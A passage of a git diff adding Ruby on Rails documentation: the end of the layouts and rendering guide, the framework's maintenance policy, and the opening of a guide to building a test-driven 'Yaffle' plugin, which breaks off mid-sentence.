+# in app/controllers/application_controller
+class ApplicationController < ActionController::Base
+end
+
+# in app/controllers/admin_controller
+class AdminController < ApplicationController
+end
+
+# in app/controllers/admin/products_controller
+class Admin::ProductsController < AdminController
+  def index
+  end
+end
+```
+
+The lookup order for an `admin/products#index` action will be:
+
+* `app/views/admin/products/`
+* `app/views/admin/`
+* `app/views/application/`
+
+This makes `app/views/application/` a great place for your shared partials, which can then be rendered in your ERB as such:
+
+```erb
+<%# app/views/admin/products/index.html.erb %>
+<%= render @products || "empty_list" %>
+
+<%# app/views/application/_empty_list.html.erb %>
+There are no items in this list <em>yet</em>.
+```
+
+#### Avoiding Double Render Errors
+
+Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that `render` works.
+
+For example, here's some code that will trigger this error:
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+  render action: "regular_show"
+end
+```
+
+If `@book.special?` evaluates to `true`, Rails will start the rendering process to dump the `@book` variable into the `special_show` view. But this will _not_ stop the rest of the code in the `show` action from running, and when Rails hits the end of the action, it will start to render the `regular_show` view - and throw an error. The solution is simple: make sure that you have only one call to `render` or `redirect` in a single code path. One thing that can help is `and return`. Here's a patched version of the method:
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show" and return
+  end
+  render action: "regular_show"
+end
+```
+
+Make sure to use `and return` instead of `&& return` because `&& return` will not work due to the operator precedence in the Ruby Language.
+
+Note that the implicit render done by ActionController detects if `render` has been called, so the following will work without errors:
+
+```ruby
+def show
+  @book = Book.find(params[:id])
+  if @book.special?
+    render action: "special_show"
+  end
+end
+```
+
+This will render a book with `special?` set with the `special_show` template, while other books will render with the default `show` template.
+
+### Using `redirect_to`
+
+Another way to handle returning responses to an HTTP request is with `redirect_to`. As you've seen, `render` tells Rails which view (or other asset) to use in constructing a response. The `redirect_to` method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
+
+```ruby
+redirect_to photos_url
+```
+
+You can use `redirect_back` to return the user to the page they just came from.
+This location is pulled from the `HTTP_REFERER` header which is not guaranteed
+to be set by the browser, so you must provide the `fallback_location`
+to use in this case.
+
+```ruby
+redirect_back(fallback_location: root_path)
+```
+
+NOTE: `redirect_to` and `redirect_back` do not halt and return immediately from method execution, but simply set HTTP responses. Statements occurring after them in a method will be executed. You can halt by an explicit `return` or some other halting mechanism, if needed.
+
+#### Getting a Different Redirect Status Code
+
+Rails uses HTTP status code 302, a temporary redirect, when you call `redirect_to`. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the `:status` option:
+
+```ruby
+redirect_to photos_path, status: 301
+```
+
+Just like the `:status` option for `render`, `:status` for `redirect_to` accepts both numeric and symbolic header designations.
+
+#### The Difference Between `render` and `redirect_to`
+
+Sometimes inexperienced developers think of `redirect_to` as a sort of `goto` command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+
+Consider these actions to see the difference:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    render action: "index"
+  end
+end
+```
+
+With the code in this form, there will likely be a problem if the `@book` variable is `nil`. Remember, a `render :action` doesn't run any code in the target action, so nothing will set up the `@books` variable that the `index` view will probably require. One way to fix this is to redirect instead of rendering:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    redirect_to action: :index
+  end
+end
+```
+
+With this code, the browser will make a fresh request for the index page, the code in the `index` method will run, and all will be well.
+
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with `/books/1` and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to `/books/`, the browser complies and sends a new request back to the controller asking now for the `index` action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
+
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
+
+```ruby
+def index
+  @books = Book.all
+end
+
+def show
+  @book = Book.find_by(id: params[:id])
+  if @book.nil?
+    @books = Book.all
+    flash.now[:alert] = "Your book was not found"
+    render "index"
+  end
+end
+```
+
+This would detect that there are no books with the specified ID, populate the `@books` instance variable with all the books in the model, and then directly render the `index.html.erb` template, returning it to the browser with a flash alert message to tell the user what happened.
+
+### Using `head` To Build Header-Only Responses
+
+The `head` method can be used to send responses with only headers to the browser. The `head` method accepts a number or symbol (see [reference table](#the-status-option)) representing an HTTP status code. The options argument is interpreted as a hash of header names and values. For example, you can return only an error header:
+
+```ruby
+head :bad_request
+```
+
+This would produce the following header:
+
+```
+HTTP/1.1 400 Bad Request
+Connection: close
+Date: Sun, 24 Jan 2010 12:15:53 GMT
+Transfer-Encoding: chunked
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.013483
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Or you can use other HTTP headers to convey other information:
+
+```ruby
+head :created, location: photo_path(@photo)
+```
+
+Which would produce:
+
+```
+HTTP/1.1 201 Created
+Connection: close
+Date: Sun, 24 Jan 2010 12:16:44 GMT
+Transfer-Encoding: chunked
+Location: /photos/1
+Content-Type: text/html; charset=utf-8
+X-Runtime: 0.083496
+Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
+Cache-Control: no-cache
+```
+
+Structuring Layouts
+-------------------
+
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+
+* Asset tags
+* `yield` and `content_for`
+* Partials
+
+### Asset Tag Helpers
+
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos, and audios. There are six asset tag helpers available in Rails:
+
+* `auto_discovery_link_tag`
+* `javascript_include_tag`
+* `stylesheet_link_tag`
+* `image_tag`
+* `video_tag`
+* `audio_tag`
+
+You can use these tags in layouts or other views, although the `auto_discovery_link_tag`, `javascript_include_tag`, and `stylesheet_link_tag`, are most commonly used in the `<head>` section of a layout.
+
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+
+#### Linking to Feeds with the `auto_discovery_link_tag`
+
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS, Atom, or JSON feeds. It takes the type of the link (`:rss`, `:atom`, or `:json`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+
+```erb
+<%= auto_discovery_link_tag(:rss, {action: "feed"},
+  {title: "RSS Feed"}) %>
+```
+
+There are three tag options available for the `auto_discovery_link_tag`:
+
+* `:rel` specifies the `rel` value in the link. The default value is "alternate".
+* `:type` specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
+* `:title` specifies the title of the link. The default value is the uppercase `:type` value, for example, "ATOM" or "RSS".
+
+#### Linking to JavaScript Files with the `javascript_include_tag`
+
+The `javascript_include_tag` helper returns an HTML `script` tag for each source provided.
+
+If you are using Rails with the [Asset Pipeline](asset_pipeline.html) enabled, this helper will generate a link to `/assets/javascripts/` rather than `public/javascripts` which was used in earlier versions of Rails. This link is then served by the asset pipeline.
+
+A JavaScript file within a Rails application or Rails engine goes in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`. These locations are explained in detail in the [Asset Organization section in the Asset Pipeline Guide](asset_pipeline.html#asset-organization).
+
+You can specify a full path relative to the document root, or a URL, if you prefer. For example, to link to a JavaScript file that is inside a directory called `javascripts` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= javascript_include_tag "main" %>
+```
+
+Rails will then output a `script` tag such as this:
+
+```html
+<script src='/assets/main.js'></script>
+```
+
+The request to this asset is then served by the Sprockets gem.
+
+To include multiple files such as `app/assets/javascripts/main.js` and `app/assets/javascripts/columns.js` at the same time:
+
+```erb
+<%= javascript_include_tag "main", "columns" %>
+```
+
+To include `app/assets/javascripts/main.js` and `app/assets/javascripts/photos/columns.js`:
+
+```erb
+<%= javascript_include_tag "main", "/photos/columns" %>
+```
+
+To include `http://example.com/main.js`:
+
+```erb
+<%= javascript_include_tag "http://example.com/main.js" %>
+```
+
+#### Linking to CSS Files with the `stylesheet_link_tag`
+
+The `stylesheet_link_tag` helper returns an HTML `<link>` tag for each source provided.
+
+If you are using Rails with the "Asset Pipeline" enabled, this helper will generate a link to `/assets/stylesheets/`. This link is then processed by the Sprockets gem. A stylesheet file can be stored in one of three locations: `app/assets`, `lib/assets` or `vendor/assets`.
+
+You can specify a full path relative to the document root, or a URL. For example, to link to a stylesheet file that is inside a directory called `stylesheets` inside of one of `app/assets`, `lib/assets` or `vendor/assets`, you would do this:
+
+```erb
+<%= stylesheet_link_tag "main" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "columns" %>
+```
+
+To include `app/assets/stylesheets/main.css` and `app/assets/stylesheets/photos/columns.css`:
+
+```erb
+<%= stylesheet_link_tag "main", "photos/columns" %>
+```
+
+To include `http://example.com/main.css`:
+
+```erb
+<%= stylesheet_link_tag "http://example.com/main.css" %>
+```
+
+By default, the `stylesheet_link_tag` creates links with `media="screen" rel="stylesheet"`. You can override any of these defaults by specifying an appropriate option (`:media`, `:rel`):
+
+```erb
+<%= stylesheet_link_tag "main_print", media: "print" %>
+```
+
+#### Linking to Images with the `image_tag`
+
+The `image_tag` helper builds an HTML `<img />` tag to the specified file. By default, files are loaded from `public/images`.
+
+WARNING: Note that you must specify the extension of the image.
+
+```erb
+<%= image_tag "header.png" %>
+```
+
+You can supply a path to the image if you like:
+
+```erb
+<%= image_tag "icons/delete.gif" %>
+```
+
+You can supply a hash of additional HTML options:
+
+```erb
+<%= image_tag "icons/delete.gif", {height: 45} %>
+```
+
+You can supply alternate text for the image which will be used if the user has images turned off in their browser. If you do not specify an alt text explicitly, it defaults to the file name of the file, capitalized and with no extension. For example, these two image tags would return the same code:
+
+```erb
+<%= image_tag "home.gif" %>
+<%= image_tag "home.gif", alt: "Home" %>
+```
+
+You can also specify a special size tag, in the format "{width}x{height}":
+
+```erb
+<%= image_tag "home.gif", size: "50x20" %>
+```
+
+In addition to the above special tags, you can supply a final hash of standard HTML options, such as `:class`, `:id` or `:name`:
+
+```erb
+<%= image_tag "home.gif", alt: "Go Home",
+                          id: "HomeImage",
+                          class: "nav_bar" %>
+```
+
+#### Linking to Videos with the `video_tag`
+
+The `video_tag` helper builds an HTML 5 `<video>` tag to the specified file. By default, files are loaded from `public/videos`.
+
+```erb
+<%= video_tag "movie.ogg" %>
+```
+
+Produces
+
+```erb
+<video src="/videos/movie.ogg" />
+```
+
+Like an `image_tag` you can supply a path, either absolute, or relative to the `public/videos` directory. Additionally you can specify the `size: "#{width}x#{height}"` option just like an `image_tag`. Video tags can also have any of the HTML options specified at the end (`id`, `class` et al).
+
+The video tag also supports all of the `<video>` HTML options through the HTML options hash, including:
+
+* `poster: "image_name.png"`, provides an image to put in place of the video before it starts playing.
+* `autoplay: true`, starts playing the video on page load.
+* `loop: true`, loops the video once it gets to the end.
+* `controls: true`, provides browser supplied controls for the user to interact with the video.
+* `autobuffer: true`, the video will pre load the file for the user on page load.
+
+You can also specify multiple videos to play by passing an array of videos to the `video_tag`:
+
+```erb
+<%= video_tag ["trailer.ogg", "movie.ogg"] %>
+```
+
+This will produce:
+
+```erb
+<video>
+  <source src="/videos/trailer.ogg">
+  <source src="/videos/movie.ogg">
+</video>
+```
+
+#### Linking to Audio Files with the `audio_tag`
+
+The `audio_tag` helper builds an HTML 5 `<audio>` tag to the specified file. By default, files are loaded from `public/audios`.
+
+```erb
+<%= audio_tag "music.mp3" %>
+```
+
+You can supply a path to the audio file if you like:
+
+```erb
+<%= audio_tag "music/first_song.mp3" %>
+```
+
+You can also supply a hash of additional options, such as `:id`, `:class` etc.
+
+Like the `video_tag`, the `audio_tag` has special options:
+
+* `autoplay: true`, starts playing the audio on page load
+* `controls: true`, provides browser supplied controls for the user to interact with the audio.
+* `autobuffer: true`, the audio will pre load the file for the user on page load.
+
+### Understanding `yield`
+
+Within the context of a layout, `yield` identifies a section where content from the view should be inserted. The simplest way to use this is to have a single `yield`, into which the entire contents of the view currently being rendered is inserted:
+
+```html+erb
+<html>
+  <head>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+```
+
+You can also create a layout with multiple yielding regions:
+
+```html+erb
+<html>
+  <head>
+  <%= yield :head %>
+  </head>
+  <body>
+  <%= yield %>
+  </body>
+</html>
+```
+
+The main body of the view will always render into the unnamed `yield`. To render content into a named `yield`, you use the `content_for` method.
+
+### Using the `content_for` Method
+
+The `content_for` method allows you to insert content into a named `yield` block in your layout. For example, this view would work with the layout that you just saw:
+
+```html+erb
+<% content_for :head do %>
+  <title>A simple page</title>
+<% end %>
+
+<p>Hello, Rails!</p>
+```
+
+The result of rendering this page into the supplied layout would be this HTML:
+
+```html+erb
+<html>
+  <head>
+  <title>A simple page</title>
+  </head>
+  <body>
+  <p>Hello, Rails!</p>
+  </body>
+</html>
+```
+
+The `content_for` method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific JavaScript or css files into the header of an otherwise generic layout.
+
+### Using Partials
+
+Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
+
+#### Naming Partials
+
+To render a partial as part of a view, you use the `render` method within the view:
+
+```ruby
+<%= render "menu" %>
+```
+
+This will render a file named `_menu.html.erb` at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
+
+```ruby
+<%= render "shared/menu" %>
+```
+
+That code will pull in the partial from `app/views/shared/_menu.html.erb`.
+
+#### Using Partials to Simplify Views
+
+One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
+
+```erb
+<%= render "shared/ad_banner" %>
+
+<h1>Products</h1>
+
+<p>Here are a few of our fine products:</p>
+...
+
+<%= render "shared/footer" %>
+```
+
+Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain
+content that is shared by many pages in your application. You don't need to see
+the details of these sections when you're concentrating on a particular page.
+
+As seen in the previous sections of this guide, `yield` is a very powerful tool
+for cleaning up your layouts. Keep in mind that it's pure Ruby, so you can use
+it almost everywhere. For example, we can use it to DRY up form layout
+definitions for several similar resources:
+
+* `users/index.html.erb`
+
+    ```html+erb
+    <%= render "shared/search_filters", search: @q do |f| %>
+      <p>
+        Name contains: <%= f.text_field :name_contains %>
+      </p>
+    <% end %>
+    ```
+
+* `roles/index.html.erb`
+
+    ```html+erb
+    <%= render "shared/search_filters", search: @q do |f| %>
+      <p>
+        Title contains: <%= f.text_field :title_contains %>
+      </p>
+    <% end %>
+    ```
+
+* `shared/_search_filters.html.erb`
+
+    ```html+erb
+    <%= form_for(search) do |f| %>
+      <h1>Search form:</h1>
+      <fieldset>
+        <%= yield f %>
+      </fieldset>
+      <p>
+        <%= f.submit "Search" %>
+      </p>
+    <% end %>
+    ```
+
+TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
+
+#### Partial Layouts
+
+A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
+
+```erb
+<%= render partial: "link_area", layout: "graybar" %>
+```
+
+This would look for a partial named `_link_area.html.erb` and render it using the layout `_graybar.html.erb`. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master `layouts` folder).
+
+Also note that explicitly specifying `:partial` is required when passing additional options such as `:layout`.
+
+#### Passing Local Variables
+
+You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
+
+* `new.html.erb`
+
+    ```html+erb
+    <h1>New zone</h1>
+    <%= render partial: "form", locals: {zone: @zone} %>
+    ```
+
+* `edit.html.erb`
+
+    ```html+erb
+    <h1>Editing zone</h1>
+    <%= render partial: "form", locals: {zone: @zone} %>
+    ```
+
+* `_form.html.erb`
+
+    ```html+erb
+    <%= form_for(zone) do |f| %>
+      <p>
+        <b>Zone name</b><br>
+        <%= f.text_field :name %>
+      </p>
+      <p>
+        <%= f.submit %>
+      </p>
+    <% end %>
+    ```
+
+Although the same partial will be rendered into both views, Action View's submit helper will return "Create Zone" for the new action and "Update Zone" for the edit action.
+
+To pass a local variable to a partial in only specific cases use the `local_assigns`.
+
+* `index.html.erb`
+
+  ```erb
+  <%= render user.articles %>
+  ```
+
+* `show.html.erb`
+
+  ```erb
+  <%= render article, full: true %>
+  ```
+
+* `_article.html.erb`
+
+  ```erb
+  <h2><%= article.title %></h2>
+
+  <% if local_assigns[:full] %>
+    <%= simple_format article.body %>
+  <% else %>
+    <%= truncate article.body %>
+  <% end %>
+  ```
+
+This way it is possible to use the partial without the need to declare all local variables.
+
+Every partial also has a local variable with the same name as the partial (minus the leading underscore). You can pass an object in to this local variable via the `:object` option:
+
+```erb
+<%= render partial: "customer", object: @new_customer %>
+```
+
+Within the `customer` partial, the `customer` variable will refer to `@new_customer` from the parent view.
+
+If you have an instance of a model to render into a partial, you can use a shorthand syntax:
+
+```erb
+<%= render @customer %>
+```
+
+Assuming that the `@customer` instance variable contains an instance of the `Customer` model, this will use `_customer.html.erb` to render it and will pass the local variable `customer` into the partial which will refer to the `@customer` instance variable in the parent view.
+
+#### Rendering Collections
+
+Partials are very useful in rendering collections. When you pass a collection to a partial via the `:collection` option, the partial will be inserted once for each member in the collection:
+
+* `index.html.erb`
+
+    ```html+erb
+    <h1>Products</h1>
+    <%= render partial: "product", collection: @products %>
+    ```
+
+* `_product.html.erb`
+
+    ```html+erb
+    <p>Product Name: <%= product.name %></p>
+    ```
+
+When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within the `_product` partial, you can refer to `product` to get the instance that is being rendered.
+
+There is also a shorthand for this. Assuming `@products` is a collection of `product` instances, you can simply write this in the `index.html.erb` to produce the same result:
+
+```html+erb
+<h1>Products</h1>
+<%= render @products %>
+```
+
+Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+
+* `index.html.erb`
+
+    ```html+erb
+    <h1>Contacts</h1>
+    <%= render [customer1, employee1, customer2, employee2] %>
+    ```
+
+* `customers/_customer.html.erb`
+
+    ```html+erb
+    <p>Customer: <%= customer.name %></p>
+    ```
+
+* `employees/_employee.html.erb`
+
+    ```html+erb
+    <p>Employee: <%= employee.name %></p>
+    ```
+
+In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
+
+In the event that the collection is empty, `render` will return nil, so it should be fairly simple to provide alternative content.
+
+```html+erb
+<h1>Products</h1>
+<%= render(@products) || "There are no products available." %>
+```
+
+#### Local Variables
+
+To use a custom local variable name within the partial, specify the `:as` option in the call to the partial:
+
+```erb
+<%= render partial: "product", collection: @products, as: :item %>
+```
+
+With this change, you can access an instance of the `@products` collection as the `item` local variable within the partial.
+
+You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
+
+```erb
+<%= render partial: "product", collection: @products,
+           as: :item, locals: {title: "Products Page"} %>
+```
+
+In this case, the partial will have access to a local variable `title` with the value "Products Page".
+
+TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
+
+You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
+
+#### Spacer Templates
+
+```erb
+<%= render partial: @products, spacer_template: "product_ruler" %>
+```
+
+Rails will render the `_product_ruler` partial (with no data passed in to it) between each pair of `_product` partials.
+
+#### Collection Partial Layouts
+
+When rendering collections it is also possible to use the `:layout` option:
+
+```erb
+<%= render partial: "product", collection: @products, layout: "special_layout" %>
+```
+
+The layout will be rendered together with the partial for each item in the collection. The current object and object_counter variables will be available in the layout as well, the same way they are within the partial.
+
+### Using Nested Layouts
+
+You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
+
+Suppose you have the following `ApplicationController` layout:
+
+* `app/views/layouts/application.html.erb`
+
+    ```html+erb
+    <html>
+    <head>
+      <title><%= @page_title or "Page Title" %></title>
+      <%= stylesheet_link_tag "layout" %>
+      <style><%= yield :stylesheets %></style>
+    </head>
+    <body>
+      <div id="top_menu">Top menu items here</div>
+      <div id="menu">Menu items here</div>
+      <div id="content"><%= content_for?(:content) ? yield(:content) : yield %></div>
+    </body>
+    </html>
+    ```
+
+On pages generated by `NewsController`, you want to hide the top menu and add a right menu:
+
+* `app/views/layouts/news.html.erb`
+
+    ```html+erb
+    <% content_for :stylesheets do %>
+      #top_menu {display: none}
+      #right_menu {float: right; background-color: yellow; color: black}
+    <% end %>
+    <% content_for :content do %>
+      <div id="right_menu">Right menu items here</div>
+      <%= content_for?(:news_content) ? yield(:news_content) : yield %>
+    <% end %>
+    <%= render template: "layouts/application" %>
+    ```
+
+That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
+
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the `ActionView::render` method via `render template: 'layouts/news'` to base a new layout on the News layout. If you are sure you will not subtemplate the `News` layout, you can replace the `content_for?(:news_content) ? yield(:news_content) : yield` with simply `yield`.
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
new file mode 100644
index 0000000000..1d6a4edb5b
--- /dev/null
+++ b/guides/source/maintenance_policy.md
@@ -0,0 +1,80 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Maintenance Policy for Ruby on Rails
+====================================
+
+Support of the Rails framework is divided into four groups: New features, bug
+fixes, security issues, and severe security issues. They are handled as
+follows, all versions in `X.Y.Z` format.
+
+--------------------------------------------------------------------------------
+
+Rails follows a shifted version of [semver](http://semver.org/):
+
+**Patch `Z`**
+
+Only bug fixes, no API changes, no new features.
+Except as necessary for security fixes.
+
+**Minor `Y`**
+
+New features, may contain API changes (Serve as major versions of Semver).
+Breaking changes are paired with deprecation notices in the previous minor
+or major release.
+
+**Major `X`**
+
+New features, will likely contain API changes. The difference between Rails'
+minor and major releases is the magnitude of breaking changes, and usually
+reserved for special occasions.
+
+New Features
+------------
+
+New features are only added to the master branch and will not be made available
+in point releases.
+
+Bug Fixes
+---------
+
+Only the latest release series will receive bug fixes. When enough bugs are
+fixed and its deemed worthy to release a new gem, this is the branch it happens
+from.
+
+In special situations, where someone from the Core Team agrees to support more series,
+they are included in the list of supported series.
+
+**Currently included series:** `5.1.Z`.
+
+Security Issues
+---------------
+
+The current release series and the next most recent one will receive patches
+and new versions in case of a security issue.
+
+These releases are created by taking the last released version, applying the
+security patches, and releasing. Those patches are then applied to the end of
+the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+be built from 1.2.2, and then added to the end of 1-2-stable. This means that
+security releases are easy to upgrade to if you're running the latest version
+of Rails.
+
+**Currently included series:** `5.1.Z`, `5.0.Z`.
+
+Severe Security Issues
+----------------------
+
+For severe security issues we will provide new versions as above, and also the
+last major release series will receive patches and new versions. The
+classification of the security issue is judged by the core team.
+
+**Currently included series:** `5.1.Z`, `5.0.Z`, `4.2.Z`.
+
+Unsupported Release Series
+--------------------------
+
+When a release series is no longer supported, it's your own responsibility to
+deal with bugs and security issues. We may provide backports of the fixes and
+publish them to git, however there will be no new versions released. If you are
+not comfortable maintaining your own versions, you should upgrade to a
+supported version.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
new file mode 100644
index 0000000000..8c2d56ceb8
--- /dev/null
+++ b/guides/source/plugins.md
@@ -0,0 +1,493 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
+
+After reading this guide, you will know:
+
+* How to create a plugin from scratch.
+* How to write and run tests for the plugin.
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core Ruby classes like Hash and String.
+* Add methods to `ApplicationRecord` in the tradition of the `acts_as` plugins.
+* Give you information about where to put generators in your plugin.
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.
+Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
+goodness.
+
+--------------------------------------------------------------------------------
+
+Setup
+-----
+
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
+different Rails applications using RubyGems and Bundler if desired.
+
+### Generate a gemified plugin.
+
+
+Rails ships with a `rails plugin new` command which creates a
+skeleton for developing any kind of Rails extension with the ability
+to run integration tests using a dummy Rails application. Create your
+plugin with the command:
+
+```bash
+$ rails plugin new yaffle
+```
+
+See usage and options by asking for help:
+
+```bash
+$ rails plugin new --help
+```
+
+Testing Your Newly Generated Plugin
+-----------------------------------
+
+You can navigate to the directory that contains the plugin, run the `bundle install` command
+ and run the one generated test using the `bin/test` command.
+
+You should see:
+
+```bash
+  1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will tell you that everything got generated properly and you are ready to start adding functionality.
+
+Extending Core Classes
+----------------------
+
+This section will explain how to add a method to String that will be available anywhere in your Rails application.
+
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+
+```ruby
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+```
+
+Run `bin/test` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
+
+```bash
+E
+
+Error:
+CoreExtTest#test_to_squawk_prepends_the_word_squawk:
+NoMethodError: undefined method `to_squawk' for "Hello World":String
+
+
+bin/test /path/to/yaffle/test/core_ext_test.rb:4
+
+.
+
+Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.
+
+2 runs, 1 assertions, 0 failures, 1 errors, 0 skips
+```
+
+Great - now you are ready to start development.
+
+In `lib/yaffle.rb`, add `require 'yaffle/core_ext'`:
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+
+module Yaffle
+end
+```
+
+Finally, create the `core_ext.rb` file and add the `to_squawk` method:
+
+```ruby
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+```
+
+To test that your method does what it says it does, run the unit tests with `bin/test` from your plugin directory.
+
+```bash
+  2 runs, 2 assertions, 0 failures, 0 errors, 0 skips
+```
+
+To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+
+```bash
+$ bin/rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+```
+
+Add an "acts_as" Method to Active Record
+----------------------------------------
+
+A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
+want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
+
+To begin, set up your files so that you have:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+end
+```
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require 'yaffle/core_ext'
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+```
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # your code will go here
+  end
+end
+```
+
+### Add a Class Method
+
+This plugin will expect that you've added a method to your model named `last_squawk`. However, the
+plugin users might have already defined a method on their model named `last_squawk` that they use
+for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+end
+```
+
+When you run `bin/test`, you should see the following:
+
+```
+# Running:
+
+..E
+
+Error:
+ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
+NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8
+
+E
+
+Error:
+ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
+NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+
+
+bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4
+
+
+
+Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.
+
+4 runs, 2 assertions, 0 failures, 2 errors, 0 skips
+```
+
+This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
+We can easily generate these models in our "dummy" Rails application by running the following commands from the
